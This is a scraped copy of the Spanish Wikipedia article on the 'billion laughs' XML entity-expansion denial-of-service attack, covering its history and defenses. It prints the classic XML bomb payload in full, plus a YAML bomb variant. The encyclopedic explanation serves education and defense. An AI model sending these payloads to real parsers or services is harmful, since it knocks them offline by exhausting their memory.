fbpx
Wikipedia

Mil millones de risas

En seguridad informática, el ataque de mil millones de risas es un tipo de ataque de denegación-de-servicio (DoS) que apunta a parsers de documentos XML.[1]

Es también referido a como una bomba de XML o como un ataque de expansión de entidad exponencial.[2]

Detalles

El ataque de ejemplo consta de definir 10 entidades, cada cual definida como constando de 10 de la entidad anterior, con el documento que consiste en una sola instancia de la entidad mayor, el cual se expande a mil millones de copias de la primera entidad.

En el ejemplo citado más frecuentemente, la primera entidad es el texto "lol", por ello el nombre "mil millones de risas". La cantidad de memoria de ordenador usada probablemente superaría a la disponible para el proceso de parseo del XML (ciertamente lo fue en el tiempo cuando la vulnerabilidad fue informada por primera vez).

Mientras la forma original del ataque estuvo apuntada específicamente a XML parsers, el término puede ser aplicable a temas similares también.[1]

El problema fue reportado por primera vez en 2002, pero empezó para ser ampliamente dirigido en 2008.[3][4]

Las defensas contra esta clase de ataque incluyen limitar la memoria destinada en un parser individual si la pérdida del documento es aceptable, o tratar entidades simbólicamente y expandiéndolas perezosamente sólo cuándo (y en la medida que) su contenido requiera ser utilizado.

Ejemplo de código

<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> 

Cuando un parser XML carga este documento, ve que incluye un elemento raíz, "lolz", aquello contiene el texto "&lol9;". Sin embargo, "&lol9;" es una entidad definida que se expande a un texto que contiene diez textos "&lol8;". Cada texto "&lol8;" es una entidad definida que expande a diez textos "&lol7;", y así. Después de que todas las expansiones de entidad han sido procesadas, este pequeño (< 1 KB) bloque de XML de hecho contendrá 109 = mil millones de "lol"s, usando casi 3 gigabytes de memoria.[5]

Variaciones

El ataque de mil millones de risas descrito más arriba toma una cantidad exponencial de espacio. La variación de explosión cuadrática causa crecimiento cuadrático en requisitos de almacenamiento sencillamente repitiendo una entidad grande una y otra vez, para evitar contramedidas que detectan entidades fuertemente anidados.[6]​ (Ver teoría de complejidad computacional para comparaciones de clases de crecimiento diferente.)

Un ataque de mil millones de risas existe para cualquier formato de archivo que pueda contener referencias, por ejemplo esta bomba YAML:

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] 

Véase también

  • Bomba de bifurcación: un método similar para agotar los recursos de un sistema a través de recursión
  • Bomba zip: un ataque similar que utiliza archivos comprimidos
  • ataque de entidad XML externa: un ataque de XML para retornar archivos arbitrarios de servidor

Referencias

  1. Harold, Elliotte Rusty (27 de mayo de 2005). «Tip: Configure SAX parsers for secure processing». IBM developerWorks. Archivado desde el original el 4 de marzo de 2011. Consultado el 4 de marzo de 2011. 
  2. Sullivan, Bryan (noviembre de 2009). «XML Denial of Service Attacks and Defenses». MSDN Magazine (Microsoft Corporation). Consultado el 31 de mayo de 2011. 
  3. «SecurityFocus». 16 de diciembre de 2002. Consultado el 3 de julio de 2015. 
  4. «CVE-2003-1564». Common Vulnerabilities and Exposures. The MITRE Corporation. 2 de febrero de 2003. Consultado el 1 de junio de 2011. 
  5. Bryan Sullivan. «XML Denial of Service Attacks and Defenses». Consultado el 21 de diciembre de 2011. 
  6. XML vulnerabilities in Python
  •   Datos: Q3570419

millones, risas, seguridad, informática, ataque, millones, risas, tipo, ataque, denegación, servicio, apunta, parsers, documentos, también, referido, como, bomba, como, ataque, expansión, entidad, exponencial, Índice, detalles, ejemplo, código, variaciones, vé. En seguridad informatica el ataque de mil millones de risas es un tipo de ataque de denegacion de servicio DoS que apunta a parsers de documentos XML 1 Es tambien referido a como una bomba de XML o como un ataque de expansion de entidad exponencial 2 Indice 1 Detalles 2 Ejemplo de codigo 3 Variaciones 4 Vease tambien 5 ReferenciasDetalles EditarEl ataque de ejemplo consta de definir 10 entidades cada cual definida como constando de 10 de la entidad anterior con el documento que consiste en una sola instancia de la entidad mayor el cual se expande a mil millones de copias de la primera entidad En el ejemplo citado mas frecuentemente la primera entidad es el texto lol por ello el nombre mil millones de risas La cantidad de memoria de ordenador usada probablemente superaria a la disponible para el proceso de parseo del XML ciertamente lo fue en el tiempo cuando la vulnerabilidad fue informada por primera vez Mientras la forma original del ataque estuvo apuntada especificamente a XML parsers el termino puede ser aplicable a temas similares tambien 1 El problema fue reportado por primera vez en 2002 pero empezo para ser ampliamente dirigido en 2008 3 4 Las defensas contra esta clase de ataque incluyen limitar la memoria destinada en un parser individual si la perdida del documento es aceptable o tratar entidades simbolicamente y expandiendolas perezosamente solo cuando y en la medida que su contenido requiera ser utilizado Ejemplo de codigo Editar lt xml version 1 0 gt lt DOCTYPE lolz lt ENTITY lol lol gt lt ELEMENT lolz PCDATA gt lt ENTITY lol1 amp lol amp lol amp lol amp lol amp lol amp lol amp lol amp lol amp lol amp lol gt lt ENTITY lol2 amp lol1 amp lol1 amp lol1 amp lol1 amp lol1 amp lol1 amp lol1 amp lol1 amp lol1 amp lol1 gt lt ENTITY lol3 amp lol2 amp lol2 amp lol2 amp lol2 amp lol2 amp lol2 amp lol2 amp lol2 amp lol2 amp lol2 gt lt ENTITY lol4 amp lol3 amp lol3 amp lol3 amp lol3 amp lol3 amp lol3 amp lol3 amp lol3 amp lol3 amp lol3 gt lt ENTITY lol5 amp lol4 amp lol4 amp lol4 amp lol4 amp lol4 amp lol4 amp lol4 amp lol4 amp lol4 amp lol4 gt lt ENTITY lol6 amp lol5 amp lol5 amp lol5 amp lol5 amp lol5 amp lol5 amp lol5 amp lol5 amp lol5 amp lol5 gt lt ENTITY lol7 amp lol6 amp lol6 amp lol6 amp lol6 amp lol6 amp lol6 amp lol6 amp lol6 amp lol6 amp lol6 gt lt ENTITY lol8 amp lol7 amp lol7 amp lol7 amp lol7 amp lol7 amp lol7 amp lol7 amp lol7 amp lol7 amp lol7 gt lt ENTITY lol9 amp lol8 amp lol8 amp lol8 amp lol8 amp lol8 amp lol8 amp lol8 amp lol8 amp lol8 amp lol8 gt gt lt lolz gt amp lol9 lt lolz gt Cuando un parser XML carga este documento ve que incluye un elemento raiz lolz aquello contiene el texto amp lol9 Sin embargo amp lol9 es una entidad definida que se expande a un texto que contiene diez textos amp lol8 Cada texto amp lol8 es una entidad definida que expande a diez textos amp lol7 y asi Despues de que todas las expansiones de entidad han sido procesadas este pequeno lt 1 KB bloque de XML de hecho contendra 109 mil millones de lol s usando casi 3 gigabytes de memoria 5 Variaciones EditarEl ataque de mil millones de risas descrito mas arriba toma una cantidad exponencial de espacio La variacion de explosion cuadratica causa crecimiento cuadratico en requisitos de almacenamiento sencillamente repitiendo una entidad grande una y otra vez para evitar contramedidas que detectan entidades fuertemente anidados 6 Ver teoria de complejidad computacional para comparaciones de clases de crecimiento diferente Un ataque de mil millones de risas existe para cualquier formato de archivo que pueda contener referencias por ejemplo esta bomba YAML a amp a lol lol lol lol lol lol lol lol lol b amp b a a a a a a a a a c amp c b b b b b b b b b d amp d c c c c c c c c c e amp e d d d d d d d d d f amp f e e e e e e e e e g amp g f f f f f f f f f h amp h g g g g g g g g g i amp i h h h h h h h h h Vease tambien EditarBomba de bifurcacion un metodo similar para agotar los recursos de un sistema a traves de recursion Bomba zip un ataque similar que utiliza archivos comprimidos ataque de entidad XML externa un ataque de XML para retornar archivos arbitrarios de servidorReferencias Editar a b Harold Elliotte Rusty 27 de mayo de 2005 Tip Configure SAX parsers for secure processing IBM developerWorks Archivado desde el original el 4 de marzo de 2011 Consultado el 4 de marzo de 2011 Sullivan Bryan noviembre de 2009 XML Denial of Service Attacks and Defenses MSDN Magazine Microsoft Corporation Consultado el 31 de mayo de 2011 SecurityFocus 16 de diciembre de 2002 Consultado el 3 de julio de 2015 CVE 2003 1564 Common Vulnerabilities and Exposures The MITRE Corporation 2 de febrero de 2003 Consultado el 1 de junio de 2011 Bryan Sullivan XML Denial of Service Attacks and Defenses Consultado el 21 de diciembre de 2011 XML vulnerabilities in Python Datos Q3570419Obtenido de https es wikipedia org w index php title Mil millones de risas amp oldid 127868693, wikipedia, wiki, leyendo, leer, libro, biblioteca,

español

, española, descargar, gratis, descargar gratis, mp3, video, mp4, 3gp, jpg, jpeg, gif, png, imagen, música, canción, película, libro, juego, juegos